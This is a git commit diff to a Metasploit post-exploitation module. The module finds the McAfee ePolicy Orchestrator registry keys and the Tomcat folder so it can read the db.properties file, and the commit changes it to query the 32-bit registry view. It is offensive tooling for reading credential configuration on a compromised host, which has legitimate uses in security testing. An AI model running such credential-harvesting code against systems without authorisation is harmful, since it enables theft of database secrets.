use REGISTRY_VIEW_32_BIT
parent
2721be946a
commit
30f7c651c9
|
@ -31,37 +31,20 @@ class Metasploit3 < Msf::Post
|
||||||
def run
|
def run
|
||||||
# Find out where things are installed
|
# Find out where things are installed
|
||||||
print_status("Finding Tomcat install path...")
|
print_status("Finding Tomcat install path...")
|
||||||
|
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator",REGISTRY_VIEW_32_BIT)
|
||||||
# Check both normal and Wow6432Node keys
|
if subkeys.nil? or subkeys.empty?
|
||||||
subkeys =
|
|
||||||
[
|
|
||||||
'HKLM\\Software\\Network Associates\\ePolicy Orchestrator',
|
|
||||||
'HKLM\\Software\\Wow6432Node\\Network Associates\\ePolicy Orchestrator'
|
|
||||||
]
|
|
||||||
|
|
||||||
epol_reg_keys = []
|
|
||||||
subkeys.each do |subkey|
|
|
||||||
key = registry_enumkeys(subkey)
|
|
||||||
if not key.nil?
|
|
||||||
epol_reg_keys.push(subkey)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if (epol_reg_keys.nil? or epol_reg_keys.empty?)
|
|
||||||
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
|
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# Get the db.properties file location
|
# Get the db.properties file location
|
||||||
epol_reg_keys.each do |epol_reg_key|
|
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
|
||||||
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
|
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder",REGISTRY_VIEW_32_BIT)
|
||||||
if dbprops_file == nil or dbprops_file == ""
|
if dbprops_file == nil or dbprops_file == ""
|
||||||
print_error("Could not find db.properties file location")
|
print_error("Could not find db.properties file location")
|
||||||
else
|
else
|
||||||
dbprops_file << "/conf/orion/db.properties";
|
dbprops_file << "/conf/orion/db.properties";
|
||||||
print_good("Found db.properties location");
|
print_good("Found db.properties location");
|
||||||
process_config(dbprops_file);
|
process_config(dbprops_file);
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -191,4 +174,4 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
Loading…
Reference in New Issue